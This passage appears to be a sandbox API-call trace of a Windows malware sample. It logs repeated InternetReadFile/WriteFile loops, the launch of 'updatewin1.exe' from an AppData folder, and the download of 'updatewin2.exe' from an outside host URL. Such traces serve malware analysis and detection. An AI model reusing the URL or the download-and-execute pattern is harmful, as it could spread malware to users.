hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.464] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.465] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.465] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.465] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.465] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.654] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.654] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.654] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.655] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.655] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.655] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.655] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.655] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.656] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.656] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.656] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.657] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.732] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.776] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.777] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.778] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.778] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.779] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.779] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.914] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.914] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.915] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.916] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.917] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.917] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.918] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0050.919] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.919] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0xa00) returned 1 [0050.920] WriteFile (in: hFile=0x5e8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0xa00, lpOverlapped=0x0) returned 1 [0050.920] CloseHandle (hObject=0x5e8) returned 1 [0050.924] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0050.929] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0050.930] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0051.632] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f398 | out: hHeap=0xd50000) returned 1 [0051.632] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834798 | out: hHeap=0xd50000) returned 1 [0051.632] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fcd48 | out: hHeap=0xd50000) returned 1 [0051.633] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0051.633] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x38b1230 [0051.633] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x862) returned 0x38e5818 [0051.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38b1230, cbMultiByte=-1, lpWideCharStr=0x38e5818, cchWideChar=1073 | out: lpWideCharStr="http://bruze2.ug/files/penelop/updatewin2.exe") returned 46 [0051.633] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x870) returned 0x37fcc60 [0051.633] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0051.633] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38b1230 | out: hHeap=0xd50000) returned 1 [0051.633] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x870) returned 0x38e5818 [0051.633] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x831) returned 0x38f0b50 [0051.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bruze2.ug/files/penelop/updatewin2.exe", cchWideChar=-1, lpMultiByteStr=0x38f0b50, cbMultiByte=2097, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bruze2.ug/files/penelop/updatewin2.exe", lpUsedDefaultChar=0x0) returned 46 [0051.633] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x389d668 [0051.633] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38f0b50 | out: hHeap=0xd50000) returned 1 [0051.633] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0051.633] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bruze2.ug/files/penelop/updatewin2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0052.143] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389d668 | out: hHeap=0xd50000) returned 1 [0052.143] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xa17d6d0, lpdwBufferLength=0xa17d710, lpdwIndex=0x0 | out: lpBuffer=0xa17d6d0*, lpdwBufferLength=0xa17d710*=0x4, lpdwIndex=0x0) returned 1 [0052.143] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x38b1080 [0052.143] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x20) returned 0x38aee18 [0052.143] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38b1080 | out: hHeap=0xd50000) returned 1 [0052.143] lstrcpyA (in: lpString1=0x3812700, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff" [0052.143] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff", pMore="updatewin2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe") returned 1 [0052.143] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x38d2100 [0052.143] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8 [0052.143] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.143] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.276] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.410] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.410] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.411] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.411] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.541] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.543] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.544] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.545] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.545] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.546] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.546] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.546] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.547] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.676] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.679] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.680] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.681] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.681] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.682] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.788] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.788] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.789] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.789] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.789] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.790] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.810] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.811] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 